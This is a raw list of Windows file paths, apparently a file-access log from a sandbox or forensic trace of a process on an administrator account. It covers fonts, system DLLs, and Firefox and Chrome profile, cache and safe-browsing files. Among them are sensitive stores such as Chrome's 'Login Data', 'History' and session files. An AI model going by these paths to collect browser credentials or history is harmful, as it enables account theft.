C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\26041
C:\WINDOWS\FONTS\OUTLOOK.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\F8CBD54DDA10F4286A41EC6A537240712D6C2308
C:\WINDOWS\FONTS\BSSYM7.TTF
C:\WINDOWS\FONTS\REFSAN.TTF
C:\WINDOWS\FONTS\REFSPCL.TTF
C:\WINDOWS\FONTS\BELLB.TTF
C:\WINDOWS\FONTS\BELLI.TTF
C:\WINDOWS\FONTS\BRLNSDB.TTF
C:\WINDOWS\FONTS\BRLNSR.TTF
C:\WINDOWS\FONTS\CALIFB.TTF
C:\WINDOWS\FONTS\CALIFI.TTF
C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\ACTIVE-UPDATE.XML.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\8816
C:\WINDOWS\SYSTEM32\EN-US\URLMON.DLL.MUI
C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.C..-CONTROLS.RESOURCES_6595B64144CCF1DF_6.0.7600.16385_EN-US_106F9BE843A9B4E3\COMCTL32.DLL.MUI
C:\WINDOWS\FONTS\GOTHICB.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\B96A8CA7E8DA150D9C60ACA5E4C3188734485141
C:\WINDOWS\SYSTEM32\EN-US\RASAPI32.DLL.MUI
C:\WINDOWS\FONTS\GOTHICBI.TTF
C:\WINDOWS\FONTS\GOTHICI.TTF
C:\WINDOWS\FONTS\HTOWERTI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\31002
C:\WINDOWS\FONTS\LBRITED.TTF
C:\WINDOWS\FONTS\LBRITEDI.TTF
C:\WINDOWS\FONTS\LBRITEI.TTF
C:\WINDOWS\FONTS\LFAXD.TTF
C:\WINDOWS\FONTS\LFAXDI.TTF
C:\WINDOWS\FONTS\LFAXI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\F79CB0422B210ACEAA7BA5573854B7032685B96D
C:\WINDOWS\FONTS\TCMI____.TTF
C:\WINDOWS\FONTS\TCCEB.TTF
C:\WINDOWS\SYSTEM32\P2PCOLLAB.DLL
C:\WINDOWS\SYSTEM32\EN-US\P2PCOLLAB.DLL.MUI
C:\WINDOWS\SYSTEM32\QAGENTRT.DLL
C:\WINDOWS\SYSTEM32\EN-US\QAGENTRT.DLL.MUI
C:\WINDOWS\FONTS\TCBI____.TTF
C:\WINDOWS\SYSTEM32\FVEUI.DLL
C:\WINDOWS\SYSTEM32\EN-US\FVEUI.DLL.MUI
C:\WINDOWS\FONTS\ROCCB___.TTF
C:\WINDOWS\FONTS\ROCKB.TTF
C:\WINDOWS\FONTS\ROCKBI.TTF
C:\WINDOWS\FONTS\ROCKI.TTF
C:\WINDOWS\FONTS\PERTILI.TTF
C:\WINDOWS\FONTS\PERBI___.TTF
C:\WINDOWS\FONTS\PERB____.TTF
C:\WINDOWS\FONTS\PERI____.TTF
C:\WINDOWS\FONTS\LTYPEB.TTF
C:\WINDOWS\FONTS\LTYPEBO.TTF
C:\WINDOWS\FONTS\LTYPEO.TTF
C:\WINDOWS\FONTS\LSANSD.TTF
C:\WINDOWS\FONTS\LSANSDI.TTF
C:\WINDOWS\FONTS\LSANSI.TTF
C:\WINDOWS\FONTS\GOUDOSB.TTF
C:\WINDOWS\FONTS\GOUDOSI.TTF
C:\WINDOWS\FONTS\GILBI___.TTF
C:\WINDOWS\FONTS\GILB____.TTF
C:\WINDOWS\FONTS\GILI____.TTF
C:\WINDOWS\FONTS\GARABD.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\45D4CA4632D5E8F0FA98BFCF06B8103291868674
C:\WINDOWS\FONTS\GARAIT.TTF
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-FOUNDATION-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\2F410FFD3373491C9351DA02D136A5BFFB077392
C:\WINDOWS\FONTS\FRAHVIT.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\AB5C1843386959BEEF4FEDC9FCD99D755F32AE03
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\C6E45311988CC31D90957AB470F792022AF8D7C2
C:\WINDOWS\FONTS\FRADMIT.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\107DE5789B49E329D65BFB90C8F6A13A1D7B76BE
C:\WINDOWS\FONTS\FRABKIT.TTF
C:\WINDOWS\FONTS\ELEPHNTI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SETTINGS\MAIN\MS-LANGUAGE-PACKS\ASROUTER.FTL.TMP
C:\WINDOWS\FONTS\SCHLBKB.TTF
C:\WINDOWS\FONTS\SCHLBKBI.TTF
C:\WINDOWS\FONTS\SCHLBKI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\2DD3D71B3BFF500F903FF67DDCA52EF14EBB0BF5
C:\WINDOWS\FONTS\CALISTB.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\FECB35BD5CBE017970F99175DA77EDDF98F51C4B
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\A2C1E82CC713C0B5668F02552010905868A8BC95
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\EEA9867357B5A37957D111961563FECA91E20BEA
C:\WINDOWS\FONTS\CALISTBI.TTF
C:\WINDOWS\FONTS\CALISTI.TTF
C:\WINDOWS\FONTS\BOOKOSB.TTF
C:\WINDOWS\FONTS\BOOKOSBI.TTF
C:\WINDOWS\FONTS\BOOKOSI.TTF
C:\WINDOWS\FONTS\ANTQUAB.TTF
C:\WINDOWS\FONTS\ANTQUABI.TTF
C:\WINDOWS\SYSTEM32\KERNEL32.DLL
C:\WINDOWS\FONTS\ANTQUAI.TTF
C:\WINDOWS\FONTS\BOD_CB.TTF
C:\WINDOWS\FONTS\BOD_CBI.TTF
C:\WINDOWS\FONTS\BOD_CI.TTF
C:\WINDOWS\FONTS\BOD_BLAI.TTF
C:\WINDOWS\FONTS\BOD_B.TTF
C:\WINDOWS\FONTS\BOD_BI.TTF
C:\WINDOWS\FONTS\BOD_I.TTF
C:\WINDOWS\FONTS\AGENCYR.TTF
C:\WINDOWS\FONTS\MARLETT.TTF
C:\WINDOWS\SYSTEM32\ADVAPI32.DLL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\ADDONSTARTUP.JSON.LZ4.TMP
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PROTECTIONS.SQLITE-JOURNAL
C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\NTPE.CAT
C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GOOGLE PROFILE PICTURE.PNG
C:\WINDOWS\SYSTEM32\MSVCRT.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\INDEX
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_0
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_1
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_2
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SHADERCACHE\GPUCACHE\DATA_3
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCKFILE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LAST VERSION
C:\WINDOWS\SYSTEM32\CREDSSP.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\3FBCFD30D37D854921CE4A2D93F1AC18E1FBB1FC
C:\WINDOWS\SYSTEM32\VM3DUM64_LOADER.DLL
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\D3DCOMPILER_47.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ADS-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ADS-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ALLOW-FLASHALLOW-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ALLOW-FLASHALLOW-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ANALYTICS-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ANALYTICS-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-CRYPTOMINING-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-CRYPTOMINING-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASH-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASH-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASHSUBDOC-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASHSUBDOC-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\CONTENT-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\CONTENT-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASH-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASH-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHALLOW-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHALLOW-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHSUBDOC-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHSUBDOC-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\GOOGLE-TRACKWHITE-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\GOOGLE-TRACKWHITE-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\GOOGLE4
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZPLUGIN-BLOCK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZPLUGIN-BLOCK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.VLPSET
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256-1.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\3813
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6D4934FE31BFAF4563C9C133D9CEB4B986FB5CA0
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LIBGLESV2.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256-1.VLPSET
C:\WINDOWS\SYSTEM32\FIREWALLAPI.DLL
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LIBEGL.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256-1.SBSTORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\FD3FB159-33B0-4F67-BFE0-7C71D504E9FA.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\MEDIA HISTORY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\VISITED LINKS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\HISTORY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\BOOKMARKS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\FAVICONS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOGIN DATA
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\ACCOUNTS\AVATAR IMAGES\115561181353246466193
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\DICTIONARIES\EN-US-9-0.BDIC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\8100
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\IPMALWARE.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLSOCENG.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\RECOVERYIMPROVED
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SUBRESOURCE FILTER\INDEXED RULES\28\9.22.0\RULESET DATA
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\WIDEVINECDM\MANIFEST.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\PNACL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\WIDEVINECDM
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\FLOC\1.0.6\MANIFEST.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\FLOC\1.0.6\MANIFEST.FINGERPRINT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SUBRESOURCE FILTER\UNINDEXED RULES\9.22.0\MANIFEST.JSON
C:\WINDOWS\SYSTEM32\D3D11.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SUBRESOURCE FILTER\UNINDEXED RULES\9.22.0\MANIFEST.FINGERPRINT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ONDEVICEHEADSUGGESTMODEL\20210507.373283852\MANIFEST.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ONDEVICEHEADSUGGESTMODEL\20210507.373283852\MANIFEST.FINGERPRINT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SSLERRORASSISTANT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\FILETYPEPOLICIES
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CERTIFICATEREVOCATION
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ORIGINTRIALS
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\MEIPRELOAD\MANIFEST.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\MEIPRELOAD
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SWREPORTER
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\THIRDPARTYMODULELIST64
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFETYTIPS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CROWD DENY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\HYPHEN-DATA
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\ZXCVBNDATA
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\AUTOFILLSTATES
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\AUTOFILLREGEX
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\LOG.OLD~RF330EE.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\15FCB0CD-6D7A-432B-BFD9-3185EC9B23BC.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\TABS_13265622811205667
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\LOCK
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\CURRENT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\MANIFEST-000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SYNC DATA\LEVELDB\000003.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SESSIONS\TABS_13265536074708261
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\TOP SITES
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLMALWARE.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256-1.VLPSET
C:\WINDOWS\SYSTEM32\WLANAPI.DLL
C:\WINDOWS\SYSTEM32\WLANUTIL.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLUWS.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES~RF3318A.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\NMMHKKEGCCAGDLDGIIMEDPICCMGMIEDA\1.0.0.6_0\_METADATA\VERIFIED_CONTENTS.JSON
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\45BCE3F9-B0DC-4550-A708-EBC580CD40BC.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CODE CACHE\WASM\INDEX-DIR\THE-REAL-INDEX
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\CODE CACHE\JS\INDEX-DIR\THE-REAL-INDEX
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\LOG.OLD~RF3319A.TMP
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\LOCK
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\CURRENT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\MANIFEST-000001
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SERVICE WORKER\DATABASE\000003.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\SAFE BROWSING\URLMALBIN.STORE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\GPUCACHE\INDEX
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SITE CHARACTERISTICS DATABASE\LOG.OLD~RF3319A.TMP
